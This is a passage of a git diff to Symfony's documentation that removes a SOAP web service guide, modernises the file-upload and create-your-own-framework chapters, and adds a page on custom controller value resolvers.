deleted file mode 100644 index 37c72316878..00000000000 --- a/controller/soap_web_service.rst +++ /dev/null @@ -1,172 +0,0 @@ -.. index:: - single: Web Services; SOAP - -.. _how-to-create-a-soap-web-service-in-a-symfony2-controller: - -How to Create a SOAP Web Service in a Symfony Controller -======================================================== - -Setting up a controller to act as a SOAP server is aided by a couple -tools. Those tools expect you to have the `PHP SOAP`_ extension installed. -As the PHP SOAP extension cannot currently generate a WSDL, you must either -create one from scratch or use a 3rd party generator. - -.. note:: - - There are several SOAP server implementations available for use with - PHP. `Laminas SOAP`_ and `NuSOAP`_ are two examples. Although the PHP SOAP - extension is used in these examples, the general idea should still - be applicable to other implementations. - -SOAP works by exposing the methods of a PHP object to an external entity -(i.e. the person using the SOAP service). To start, create a class - ``HelloService`` - -which represents the functionality that you'll expose in your SOAP service. -In this case, the SOAP service will allow the client to call a method called -``hello``, which happens to send an email:: - - // src/Service/HelloService.php - namespace App\Service; - - class HelloService - { - private $mailer; - - public function __construct(\Swift_Mailer $mailer) - { - $this->mailer = $mailer; - } - - public function hello($name) - { - - $message = new \Swift_Message('Hello Service') - ->setTo('me@example.com') - ->setBody($name.' says hi!'); - - $this->mailer->send($message); - - return 'Hello, '.$name; - } - } - -Next, make sure that your new class is registered as a service. If you're using -the :ref:`default services configuration <service-container-services-load-example>`, -you don't need to do anything! - -Finally, below is an example of a controller that is capable of handling a SOAP -request. Because ``index()`` is accessible via ``/soap``, the WSDL document -can be retrieved via ``/soap?wsdl``:: - - // src/Controller/HelloServiceController.php - namespace App\Controller; - - use App\Service\HelloService; - use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; - use Symfony\Component\HttpFoundation\Response; - use Symfony\Component\Routing\Annotation\Route; - - class HelloServiceController extends AbstractController - { - /** - * @Route("/soap") - */ - public function index(HelloService $helloService) - { - $soapServer = new \SoapServer('/path/to/hello.wsdl'); - $soapServer->setObject($helloService); - - $response = new Response(); - $response->headers->set('Content-Type', 'text/xml; charset=ISO-8859-1'); - - ob_start(); - $soapServer->handle(); - $response->setContent(ob_get_clean()); - - return $response; - } - } - -Take note of the calls to ``ob_start()`` and ``ob_get_clean()``. These -methods control `output buffering`_ which allows you to "trap" the echoed -output of ``$server->handle()``. This is necessary because Symfony expects -your controller to return a ``Response`` object with the output as its "content". -You must also remember to set the ``"Content-Type"`` header to ``"text/xml"``, as -this is what the client will expect. So, you use ``ob_start()`` to start -buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output -into the content of the Response and clear the output buffer. Finally, you're -ready to return the ``Response``. - -Below is an example calling the service using a `NuSOAP`_ client. This example -assumes that the ``index()`` method in the controller above is accessible via -the route ``/soap``:: - - $soapClient = new \SoapClient('http://example.com/index.php/soap?wsdl'); - - $result = $soapClient->call('hello', ['name' => 'Scott']); - -An example WSDL is below. - -.. code-block:: xml - - <?xml version="1.0" encoding="ISO-8859-1"?> - <definitions xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" - xmlns:xsd="http://www.w3.org/2001/XMLSchema" - xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" - xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" - xmlns:tns="urn:helloservicewsdl" - xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" - xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" - xmlns="http://schemas.xmlsoap.org/wsdl/" - targetNamespace="urn:helloservicewsdl"> - - <types> - <xsd:schema targetNamespace="urn:hellowsdl"> - <xsd:import namespace="http://schemas.xmlsoap.org/soap/encoding/"/> - <xsd:import namespace="http://schemas.xmlsoap.org/wsdl/"/> - </xsd:schema> - </types> - - <message name="helloRequest"> - <part name="name" type="xsd:string"/> - </message> - - <message name="helloResponse"> - <part name="return" type="xsd:string"/> - </message> - - <portType name="hellowsdlPortType"> - <operation name="hello"> - <documentation>Hello World</documentation> - <input message="tns:helloRequest"/> - <output message="tns:helloResponse"/> - </operation> - </portType> - - <binding name="hellowsdlBinding" type="tns:hellowsdlPortType"> - <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http"/> - <operation name="hello"> - <soap:operation soapAction="urn:arnleadservicewsdl#hello" style="rpc"/> - - <input> - <soap:body use="encoded" namespace="urn:hellowsdl" - encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> - </input> - - <output> - <soap:body use="encoded" namespace="urn:hellowsdl" - encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"/> - </output> - </operation> - </binding> - - <service name="hellowsdl"> - <port name="hellowsdlPort" binding="tns:hellowsdlBinding"> - <soap:address location="http://example.com/index.php/soap"/> - </port> - </service> - </definitions> - -.. _`PHP SOAP`: https://www.php.net/manual/en/book.soap.php -.. _`NuSOAP`: https://sourceforge.net/projects/nusoap -.. _`output buffering`: https://www.php.net/manual/en/book.outcontrol.php -.. _`Laminas SOAP`: https://docs.laminas.dev/laminas-soap/server/ diff --git a/controller/upload_file.rst b/controller/upload_file.rst index edd17ed50dc..793cd26dd65 100644 --- a/controller/upload_file.rst +++ b/controller/upload_file.rst @@ -1,6 +1,3 @@ -.. index:: - single: Controller; Upload; File - How to Upload Files =================== @@ -24,17 +21,15 @@ add a PDF brochure for each product. To do so, add a new property called { // ... - /** - * @ORM\Column(type="string") - */ - private $brochureFilename; + #[ORM\Column(type: 'string')] + private string $brochureFilename; - public function getBrochureFilename() + public function getBrochureFilename(): string { return $this->brochureFilename; } - public function setBrochureFilename($brochureFilename) + public function setBrochureFilename(string $brochureFilename): self { $this->brochureFilename = $brochureFilename; @@ -63,7 +58,7 @@ so Symfony doesn't try to get/set its value from the related entity:: class ProductType extends AbstractType { - public function buildForm(FormBuilderInterface $builder, array $options) + public function buildForm(FormBuilderInterface $builder, array $options): void { $builder // ... @@ -77,24 +72,21 @@ so Symfony doesn't try to get/set its value from the related entity:: // every time you edit the Product details 'required' => false, - // unmapped fields can't define their validation using annotations + // unmapped fields can't define their validation using attributes // in the associated entity, so you can use the PHP constraint classes 'constraints' => [ - new File([ - 'maxSize' => '1024k', - 'mimeTypes' => [ - 'application/pdf', - 'application/x-pdf', - ], - 'mimeTypesMessage' => 'Please upload a valid PDF document', - ]) + new File( + maxSize: '1024k', + extensions: ['pdf'], + extensionsMessage: 'Please upload a valid PDF document', + ) ], ]) // ... ; } - public function configureOptions(OptionsResolver $resolver) + public function configureOptions(OptionsResolver $resolver): void { $resolver->setDefaults([ 'data_class' => Product::class, @@ -125,18 +117,22 @@ Finally, you need to update the code of the controller that handles the form:: use App\Entity\Product; use App\Form\ProductType; use Symfony\Bundle\FrameworkBundle\Controller\AbstractController; + use Symfony\Component\DependencyInjection\Attribute\Autowire; use Symfony\Component\HttpFoundation\File\Exception\FileException; use Symfony\Component\HttpFoundation\File\UploadedFile; use Symfony\Component\HttpFoundation\Request; - use Symfony\Component\Routing\Annotation\Route; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; use Symfony\Component\String\Slugger\SluggerInterface; class ProductController extends AbstractController { - /** - * @Route("/product/new", name="app_product_new") - */ - public function new(Request $request, SluggerInterface $slugger) + #[Route('/product/new', name: 'app_product_new')] + public function new( + Request $request, + SluggerInterface $slugger, + #[Autowire('%kernel.project_dir%/public/uploads/brochures')] string $brochuresDirectory + ): Response { $product = new Product(); $form = $this->createForm(ProductType::class, $product); @@ -156,10 +152,7 @@ Finally, you need to update the code of the controller that handles the form:: // Move the file to the directory where brochures are stored try { - $brochureFile->move( - $this->getParameter('brochures_directory'), - $newFilename - ); + $brochureFile->move($brochuresDirectory, $newFilename); } catch (FileException $e) { // ... handle exception if something happens during file upload } @@ -175,22 +168,11 @@ Finally, you need to update the code of the controller that handles the form:: } return $this->render('product/new.html.twig', [ - 'form' => $form->createView(), + 'form' => $form, ]); } } -Now, create the ``brochures_directory`` parameter that was used in the -controller to specify the directory in which the brochures should be stored: - -.. code-block:: yaml - - # config/services.yaml - - # ... - parameters: - brochures_directory: '%kernel.project_dir%/public/uploads/brochures' - There are some important things to consider in the code of the above controller: #. In Symfony applications, uploaded files are objects of the @@ -199,14 +181,25 @@ There are some important things to consider in the code of the above controller: #. A well-known security best practice is to never trust the input provided by users. This also applies to the files uploaded by your visitors. The ``UploadedFile`` class provides methods to get the original file extension - (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getExtension`), - the original file size (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getSize`) - and the original file name (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalName`). + (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalExtension`), + the original file size (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getSize`), + the original file name (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalName`) + and the original file path (:method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::getClientOriginalPath`). However, they are considered *not safe* because a malicious user could tamper that information. That's why it's always better to generate a unique name and use the :method:`Symfony\\Component\\HttpFoundation\\File\\UploadedFile::guessExtension` method to let Symfony guess the right extension according to the file MIME type; +.. note:: + + If a directory was uploaded, ``getClientOriginalPath()`` will contain + the **webkitRelativePath** as provided by the browser. Otherwise this + value will be identical to ``getClientOriginalName()``. + +.. versionadded:: 7.1 + + The ``getClientOriginalPath()`` method was introduced in Symfony 7.1. + You can use the following code to link to the PDF brochure of a product: .. code-block:: html+twig @@ -225,7 +218,7 @@ You can use the following code to link to the PDF brochure of a product: // ... $product->setBrochureFilename( - new File($this->getParameter('brochures_directory').'/'.$product->getBrochureFilename()) + new File($brochuresDirectory.DIRECTORY_SEPARATOR.$product->getBrochureFilename()) ); Creating an Uploader Service @@ -243,16 +236,13 @@ logic to a separate service:: class FileUploader { - private $targetDirectory; - private $slugger; - - public function __construct($targetDirectory, SluggerInterface $slugger) - { - $this->targetDirectory = $targetDirectory; - $this->slugger = $slugger; + public function __construct( + private string $targetDirectory, + private SluggerInterface $slugger, + ) { } - public function upload(UploadedFile $file) + public function upload(UploadedFile $file): string { $originalFilename = pathinfo($file->getClientOriginalName(), PATHINFO_FILENAME); $safeFilename = $this->slugger->slug($originalFilename); @@ -267,7 +257,7 @@ logic to a separate service:: return $fileName; } - public function getTargetDirectory() + public function getTargetDirectory(): string { return $this->targetDirectory; } @@ -321,8 +311,8 @@ Then, define a service for this class: use App\Service\FileUploader; - return static function (ContainerConfigurator $container) { - $services = $configurator->services(); + return static function (ContainerConfigurator $container): void { + $services = $container->services(); $services->set(FileUploader::class) ->arg('$targetDirectory', '%brochures_directory%') @@ -336,9 +326,10 @@ Now you're ready to use this service in the controller:: use App\Service\FileUploader; use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpFoundation\Response; // ... - public function new(Request $request, FileUploader $fileUploader) + public function new(Request $request, FileUploader $fileUploader): Response { // ... diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst new file mode 100644 index 00000000000..835edcfbff9 --- /dev/null +++ b/controller/value_resolver.rst @@ -0,0 +1,458 @@ +Extending Action Argument Resolving +=================================== + +In the :doc:`controller guide </controller>`, you've learned that you can get the +:class:`Symfony\\Component\\HttpFoundation\\Request` object via an argument in +your controller. This argument has to be type-hinted by the ``Request`` class +in order to be recognized. This is done via the +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver`. By +creating and registering custom value resolvers, you can extend this +functionality. + +.. _functionality-shipped-with-the-httpkernel: + +Built-In Value Resolvers +------------------------ + +Symfony ships with the following value resolvers in the +:doc:`HttpKernel component </components/http_kernel>`: + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\BackedEnumValueResolver` + Attempts to resolve a backed enum case from a route path parameter that matches the name of the argument. + Leads to a 404 Not Found response if the value isn't a valid backing value for the enum type. + + For example, if your backed enum is:: + + namespace App\Model; + + enum Suit: string + { + case Hearts = 'H'; + case Diamonds = 'D'; + case Clubs = 'C'; + case Spades = 'S'; + } + + And your controller contains the following:: + + class CardController + { + #[Route('/cards/{suit}')] + public function list(Suit $suit): Response + { + // ... + } + + // ... + } + + When requesting the ``/cards/H`` URL, the ``$suit`` variable will store the + ``Suit::Hearts`` case. + + Furthermore, you can limit route parameter's allowed values to + only one (or more) with ``EnumRequirement``:: + + use Symfony\Component\Routing\Requirement\EnumRequirement; + + // ... + + class CardController + { + #[Route('/cards/{suit}', requirements: [ + // this allows all values defined in the Enum + 'suit' => new EnumRequirement(Suit::class), + // this restricts the possible values to the Enum values listed here + 'suit' => new EnumRequirement([Suit::Diamonds, Suit::Spades]), + ])] + public function list(Suit $suit): Response + { + // ... + } + + // ... + } + + The example above allows requesting only ``/cards/D`` and ``/cards/S`` + URLs and leads to 404 Not Found response in two other cases. + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestPayloadValueResolver` + Maps the request payload or the query string into the type-hinted object. + + Because this is a :ref:`targeted value resolver <value-resolver-targeted>`, + you'll have to use either the :ref:`MapRequestPayload <controller-mapping-request-payload>` + or the :ref:`MapQueryString <controller-mapping-query-string>` attribute + in order to use this resolver. + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestAttributeValueResolver` + Attempts to find a request attribute that matches the name of the argument. + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\DateTimeValueResolver` + Attempts to find a request attribute that matches the name of the argument + and injects a ``DateTimeInterface`` object if type-hinted with a class + extending ``DateTimeInterface``. + + By default any input that can be parsed as a date string by PHP is accepted. + You can restrict how the input can be formatted with the + :class:`Symfony\\Component\\HttpKernel\\Attribute\\MapDateTime` attribute. + + .. tip:: + + The ``DateTimeInterface`` object is generated with the :doc:`Clock component </components/clock>`. + This gives you full control over the date and time values the controller + receives when testing your application and using the + :class:`Symfony\\Component\\Clock\\MockClock` implementation. + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\RequestValueResolver` + Injects the current ``Request`` if type-hinted with ``Request`` or a class + extending ``Request``. + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\ServiceValueResolver` + Injects a service if type-hinted with a valid service class or interface. This + works like :doc:`autowiring </service_container/autowiring>`. + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\SessionValueResolver` + Injects the configured session class implementing ``SessionInterface`` if + type-hinted with ``SessionInterface`` or a class implementing + ``SessionInterface``. + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\DefaultValueResolver` + Will set the default value of the argument if present and the argument + is optional. + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\UidValueResolver` + Attempts to convert any UID values from a route path parameter into UID objects. + Leads to a 404 Not Found response if the value isn't a valid UID. + + For example, the following will convert the token parameter into a ``UuidV4`` object:: + + // src/Controller/DefaultController.php + namespace App\Controller; + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + use Symfony\Component\Uid\UuidV4; + + class DefaultController + { + #[Route('/share/{token}')] + public function share(UuidV4 $token): Response + { + // ... + } + } + +:class:`Symfony\\Component\\HttpKernel\\Controller\\ArgumentResolver\\VariadicValueResolver` + Verifies if the request data is an array and will add all of them to the + argument list. When the action is called, the last (variadic) argument will + contain all the values of this array. + +In addition, some components, bridges and official bundles provide other value resolvers: + +:class:`Symfony\\Component\\Security\\Http\\Controller\\UserValueResolver` + Injects the object that represents the current logged in user if type-hinted + with ``UserInterface``. You can also type-hint your own ``User`` class but you + must then add the ``#[CurrentUser]`` attribute to the argument. Default value + can be set to ``null`` in case the controller can be accessed by anonymous + users. It requires installing the :doc:`SecurityBundle </security>`. + + If the argument is not nullable and there is no logged in user or the logged in + user has a user class not matching the type-hinted class, an ``AccessDeniedException`` + is thrown by the resolver to prevent access to the controller. + +:class:`Symfony\\Component\\Security\\Http\\Controller\\SecurityTokenValueResolver` + Injects the object that represents the current logged in token if type-hinted + with ``TokenInterface`` or a class extending it. + + If the argument is not nullable and there is no logged in token, an ``HttpException`` + with status code 401 is thrown by the resolver to prevent access to the controller. + +:class:`Symfony\\Bridge\\Doctrine\\ArgumentResolver\\EntityValueResolver` + Automatically query for an entity and pass it as an argument to your controller. + + For example, the following will query the ``Product`` entity which has ``{id}`` as primary key:: + + // src/Controller/DefaultController.php + namespace App\Controller; + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\Routing\Attribute\Route; + + class DefaultController + { + #[Route('/product/{id}')] + public function share(Product $product): Response + { + // ... + } + } + + To learn more about the use of the ``EntityValueResolver``, see the dedicated + section :ref:`Automatically Fetching Objects <doctrine-entity-value-resolver>`. + +PSR-7 Objects Resolver: + Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object + of type ``Psr\Http\Message\ServerRequestInterface``, + ``Psr\Http\Message\RequestInterface`` or ``Psr\Http\Message\MessageInterface``. + It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component. + +Managing Value Resolvers +------------------------ + +For each argument, every resolver tagged with ``controller.argument_value_resolver`` +will be called until one provides a value. The order in which they are called depends +on their priority. For example, the ``SessionValueResolver`` will be called before the +``DefaultValueResolver`` because its priority is higher. This allows to write e.g. +``SessionInterface $session = null`` to get the session if there is one, or ``null`` +if there is none. + +In that specific case, you don't need any resolver running before +``SessionValueResolver``, so skipping them would not only improve performance, +but also prevent one of them providing a value before ``SessionValueResolver`` +has a chance to. + +The :class:`Symfony\\Component\\HttpKernel\\Attribute\\ValueResolver` attribute +lets you do this by "targeting" the resolver you want:: + + // src/Controller/SessionController.php + namespace App\Controller; + + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpFoundation\Session\SessionInterface; + use Symfony\Component\HttpKernel\Attribute\ValueResolver; + use Symfony\Component\HttpKernel\Controller\ArgumentResolver\SessionValueResolver; + use Symfony\Component\Routing\Attribute\Route; + + class SessionController + { + #[Route('/')] + public function __invoke( + #[ValueResolver(SessionValueResolver::class)] + SessionInterface $session = null + ): Response + { + // ... + } + } + +In the example above, the ``SessionValueResolver`` will be called first because +it is targeted. The ``DefaultValueResolver`` will be called next if no value has +been provided; that's why you can assign ``null`` as ``$session``'s default value. + +You can target a resolver by passing its name as ``ValueResolver``'s first argument. +For convenience, built-in resolvers' name are their FQCN. + +A targeted resolver can also be disabled by passing ``ValueResolver``'s ``$disabled`` +argument to ``true``; this is how :ref:`MapEntity allows to disable the +EntityValueResolver for a specific controller <doctrine-entity-value-resolver>`. +Yes, ``MapEntity`` extends ``ValueResolver``! + +Adding a Custom Value Resolver +------------------------------ + +In the next example, you'll create a value resolver to inject an ID value +object whenever a controller argument has a type implementing +``IdentifierInterface`` (e.g. ``BookingId``):: + + // src/Controller/BookingController.php + namespace App\Controller; + + use App\Reservation\BookingId; + use Symfony\Component\HttpFoundation\Response; + + class BookingController + { + public function index(BookingId $id): Response + { + // ... do something with $id + } + } + +Adding a new value resolver requires creating a class that implements +:class:`Symfony\\Component\\HttpKernel\\Controller\\ValueResolverInterface` +and defining a service for it. + +This interface contains a ``resolve()`` method, which is called for each +argument of the controller. It receives the current ``Request`` object and an +:class:`Symfony\\Component\\HttpKernel\\ControllerMetadata\\ArgumentMetadata` +instance, which contains all information from the method signature. + +The ``resolve()`` method should return either an empty array (if it cannot resolve +this argument) or an array with the resolved value(s). Usually arguments are +resolved as a single value, but variadic arguments require resolving multiple +values. That's why you must always return an array, even for single values:: + + // src/ValueResolver/BookingIdValueResolver.php + namespace App\ValueResolver; + + use App\IdentifierInterface; + use Symfony\Component\HttpFoundation\Request; + use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; + use Symfony\Component\HttpKernel\ControllerMetadata\ArgumentMetadata; + + class BookingIdValueResolver implements ValueResolverInterface + { + public function resolve(Request $request, ArgumentMetadata $argument): iterable + { + // get the argument type (e.g. BookingId) + $argumentType = $argument->getType(); + if ( + !$argumentType + || !is_subclass_of($argumentType, IdentifierInterface::class, true) + ) { + return []; + } + + // get the value from the request, based on the argument name + $value = $request->attributes->get($argument->getName()); + if (!is_string($value)) { + return []; + } + + // create and return the value object + return [$argumentType::fromString($value)]; + } + } + +This method first checks whether it can resolve the value: + +* The argument must be type-hinted with a class implementing a custom ``IdentifierInterface``; +* The argument name (e.g. ``$id``) must match the name of a request + attribute (e.g. using a ``/booking/{id}`` route placeholder). + +When those requirements are met, the method creates a new instance of the +custom value object and returns it as the value for this argument. + +That's it! Now all you have to do is add the configuration for the service +container. This can be done by adding one of the following tags to your value resolver. + +``controller.argument_value_resolver`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +This tag is automatically added to every service implementing ``ValueResolverInterface``, +but you can set it yourself to change its ``priority`` or ``name`` attributes. + +.. configuration-block:: + + .. code-block:: php-attributes + + // src/ValueResolver/BookingIdValueResolver.php + namespace App\ValueResolver; + + use Symfony\Component\DependencyInjection\Attribute\AsTaggedItem; + use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; + + #[AsTaggedItem(index: 'booking_id', priority: 150)] + class BookingIdValueResolver implements ValueResolverInterface + { + // ... + } + + .. code-block:: yaml + + # config/services.yaml + services: + _defaults: + # ... be sure autowiring is enabled + autowire: true + # ... + + App\ValueResolver\BookingIdValueResolver: + tags: + - controller.argument_value_resolver: + name: booking_id + priority: 150 + + .. code-block:: xml + + <!-- config/services.xml --> + <?xml version="1.0" encoding="UTF-8" ?> + <container xmlns="http://symfony.com/schema/dic/services" + xmlns:xsi="http://www.w3.org/2001/XMLSchema-Instance" + xsi:schemaLocation="http://symfony.com/schema/dic/services + https://symfony.com/schema/dic/services/services-1.0.xsd"> + + <services> + <!-- ... be sure autowiring is enabled --> + <defaults autowire="true"/> + <!-- ... --> + + <service id="App\ValueResolver\BookingIdValueResolver"> + <tag name="booking_id" priority="150">controller.argument_value_resolver</tag> + </service> + </services> + + </container> + + .. code-block:: php + + // config/services.php + namespace Symfony\Component\DependencyInjection\Loader\Configurator; + + use App\ValueResolver\BookingIdValueResolver; + + return static function (ContainerConfigurator $containerConfigurator): void { + $services = $containerConfigurator->services(); + + $services->set(BookingIdValueResolver::class) + ->tag('controller.argument_value_resolver', ['name' => 'booking_id', 'priority' => 150]) + ; + }; + +While adding a priority is optional, it's recommended to add one to make sure +the expected value is injected. The built-in ``RequestAttributeValueResolver``, +which fetches attributes from the ``Request``, has a priority of ``100``. If your +resolver also fetches ``Request`` attributes, set a priority of ``100`` or more. +Otherwise, set a priority lower than ``100`` to make sure the argument resolver +is not triggered when the ``Request`` attribute is present. + +To ensure your resolvers are added in the right position you can run the following +command to see which argument resolvers are present and in which order they run: + +.. code-block:: terminal + + $ php bin/console debug:container debug.argument_resolver.inner + +You can also configure the name passed to the ``ValueResolver`` attribute to target +your resolver. Otherwise it will default to the service's id. + +.. _value-resolver-targeted: + +``controller.targeted_value_resolver`` +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +Set this tag if you want your resolver to be called only if it is targeted by a +``ValueResolver`` attribute. Like ``controller.argument_value_resolver``, you +can customize the name by which your resolver can be targeted. + +As an alternative, you can add the +:class:`Symfony\\Component\\HttpKernel\\Attribute\\AsTargetedValueResolver` attribute +to your resolver and pass your custom name as its first argument:: + + // src/ValueResolver/BookingIdValueResolver.php + namespace App\ValueResolver; + + use Symfony\Component\HttpKernel\Attribute\AsTargetedValueResolver; + use Symfony\Component\HttpKernel\Controller\ValueResolverInterface; + + #[AsTargetedValueResolver('booking_id')] + class BookingIdValueResolver implements ValueResolverInterface + { + // ... + } + +You can then pass this name as ``ValueResolver``'s first argument to target your resolver:: + + // src/Controller/BookingController.php + namespace App\Controller; + + use App\Reservation\BookingId; + use Symfony\Component\HttpFoundation\Response; + use Symfony\Component\HttpKernel\Attribute\ValueResolver; + + class BookingController + { + public function index(#[ValueResolver('booking_id')] BookingId $id): Response + { + // ... do something with $id + } + } diff --git a/create_framework/dependency_injection.rst b/create_framework/dependency_injection.rst index b38241e3ce2..aa377a77b5a 100644 --- a/create_framework/dependency_injection.rst +++ b/create_framework/dependency_injection.rst @@ -10,7 +10,6 @@ to it:: namespace Simplex; use Symfony\Component\EventDispatcher\EventDispatcher; - use Symfony\Component\HttpFoundation; use Symfony\Component\HttpFoundation\RequestStack; use Symfony\Component\HttpKernel; use Symfony\Component\Routing; @@ -109,30 +108,30 @@ Create a new file to host the dependency injection container configuration:: use Symfony\Component\HttpKernel; use Symfony\Component\Routing; - $containerBuilder = new DependencyInjection\ContainerBuilder(); - $containerBuilder->register('context', Routing\RequestContext::class); - $containerBuilder->register('matcher', Routing\Matcher\UrlMatcher::class) + $container = new DependencyInjection\ContainerBuilder(); + $container->register('context', Routing\RequestContext::class); + $container->register('matcher', Routing\Matcher\UrlMatcher::class) ->setArguments([$routes, new Reference('context')]) ; - $containerBuilder->register('request_stack', HttpFoundation\RequestStack::class); - $containerBuilder->register('controller_resolver', HttpKernel\Controller\ControllerResolver::class); - $containerBuilder->register('argument_resolver', HttpKernel\Controller\ArgumentResolver::class); + $container->register('request_stack', HttpFoundation\RequestStack::class); + $container->register('controller_resolver', HttpKernel\Controller\ControllerResolver::class); + $container->register('argument_resolver', HttpKernel\Controller\ArgumentResolver::class); - $containerBuilder->register('listener.router', HttpKernel\EventListener\RouterListener::class) + $container->register('listener.router', HttpKernel\EventListener\RouterListener::class) ->setArguments([new Reference('matcher'), new Reference('request_stack')]) ; - $containerBuilder->register('listener.response', HttpKernel\EventListener\ResponseListener::class) + $container->register('listener.response', HttpKernel\EventListener\ResponseListener::class) ->setArguments(['UTF-8']) ; - $containerBuilder->register('listener.exception', HttpKernel\EventListener\ErrorListener::class) + $container->register('listener.exception', HttpKernel\EventListener\ErrorListener::class) ->setArguments(['Calendar\Controller\ErrorController::exception']) ; - $containerBuilder->register('dispatcher', EventDispatcher\EventDispatcher::class) + $container->register('dispatcher', EventDispatcher\EventDispatcher::class) ->addMethodCall('addSubscriber', [new Reference('listener.router')]) ->addMethodCall('addSubscriber', [new Reference('listener.response')]) ->addMethodCall('addSubscriber', [new Reference('listener.exception')]) ; - $containerBuilder->register('framework', Framework::class) + $container->register('framework', Framework::class) ->setArguments([ new Reference('dispatcher'), new Reference('controller_resolver'), @@ -141,7 +140,7 @@ Create a new file to host the dependency injection container configuration:: ]) ; - return $containerBuilder; + return $container; The goal of this file is to configure your objects and their dependencies. Nothing is instantiated during this configuration step. This is purely a @@ -199,13 +198,14 @@ Now, here is how you can register a custom listener in the front controller:: // ... use Simplex\StringResponseListener; + use Symfony\Component\DependencyInjection\Reference; $container->register('listener.string_response', StringResponseListener::class); $container->getDefinition('dispatcher') ->addMethodCall('addSubscriber', [new Reference('listener.string_response')]) ; -Beside describing your objects, the dependency injection container can also be +Besides describing your objects, the dependency injection container can also be configured via parameters. Let's create one that defines if we are in debug mode or not:: @@ -227,16 +227,16 @@ object:: $container->setParameter('charset', 'UTF-8'); Instead of relying on the convention that the routes are defined by the -``$routes`` variables, let's use a parameter again:: +``$routes`` variables, let's use a reference:: // ... $container->register('matcher', Routing\Matcher\UrlMatcher::class) - ->setArguments(['%routes%', new Reference('context')]) + ->setArguments([new Reference('routes'), new Reference('context')]) ; And the related change in the front controller:: - $container->setParameter('routes', include __DIR__.'/../src/app.php'); + $container->set('routes', $routes); We have barely scratched the surface of what you can do with the container: from class names as parameters, to overriding existing object diff --git a/create_framework/event_dispatcher.rst b/create_framework/event_dispatcher.rst index fd655a93ebf..9a3a48942ac 100644 --- a/create_framework/event_dispatcher.rst +++ b/create_framework/event_dispatcher.rst @@ -8,7 +8,7 @@ hook into the framework life cycle to modify the way the request is handled. What kind of hooks are we talking about? Authentication or caching for instance. To be flexible, hooks must be plug-and-play; the ones you "register" for an application are different from the next one depending on your specific -needs. Many software have a similar concept like Drupal or Wordpress. In some +needs. Many software have a similar concept like Drupal or WordPress. In some languages, there is even a standard like `WSGI`_ in Python or `Rack`_ in Ruby. As there is no standard for PHP, we are going to use a well-known design @@ -23,7 +23,7 @@ version of this pattern: How does it work? The *dispatcher*, the central object of the event dispatcher system, notifies *listeners* of an *event* dispatched to it. Put another way: your code dispatches an event to the dispatcher, the dispatcher notifies all -registered listeners for the event, and each listener do whatever it wants +registered listeners for the event, and each listener does whatever it wants with the event. As an example, let's create a listener that transparently adds the Google @@ -45,20 +45,15 @@ the Response instance:: class Framework { - private $dispatcher; - private $matcher; - private $controllerResolver; - private $argumentResolver; - - public function __construct(EventDispatcher $dispatcher, UrlMatcherInterface $matcher, ControllerResolverInterface $controllerResolver, ArgumentResolverInterface $argumentResolver) - { - $this->dispatcher = $dispatcher; - $this->matcher = $matcher; - $this->controllerResolver = $controllerResolver; - $this->argumentResolver = $argumentResolver; + public function __construct( + private EventDispatcher $dispatcher, + private UrlMatcherInterface $matcher, + private ControllerResolverInterface $controllerResolver, + private ArgumentResolverInterface $argumentResolver, + ) { } - public function handle(Request $request) + public function handle(Request $request): Response { $this->matcher->getContext()->fromRequest($request); @@ -94,21 +89,18 @@ now dispatched:: class ResponseEvent extends Event { - private $request; - private $response; - - public function __construct(Response $response, Request $request) - { - $this->response = $response; - $this->request = $request; + public function __construct( + private Response $response, + private Request $request, + ) { } - public function getResponse() + public function getResponse(): Response { return $this->response; } - public function getRequest() + public function getRequest(): Request { return $this->request; } @@ -125,11 +117,11 @@ the registration of a listener for the ``response`` event:: use Symfony\Component\EventDispatcher\EventDispatcher; $dispatcher = new EventDispatcher(); - $dispatcher->addListener('response', function (Simplex\ResponseEvent $event) { + $dispatcher->addListener('response', function (Simplex\ResponseEvent $event): void { $response = $event->getResponse(); if ($response->isRedirection() - || ($response->headers->has('Content-Type') && false === strpos($response->headers->get('Content-Type'), 'html')) + || ($response->headers->has('Content-Type') && 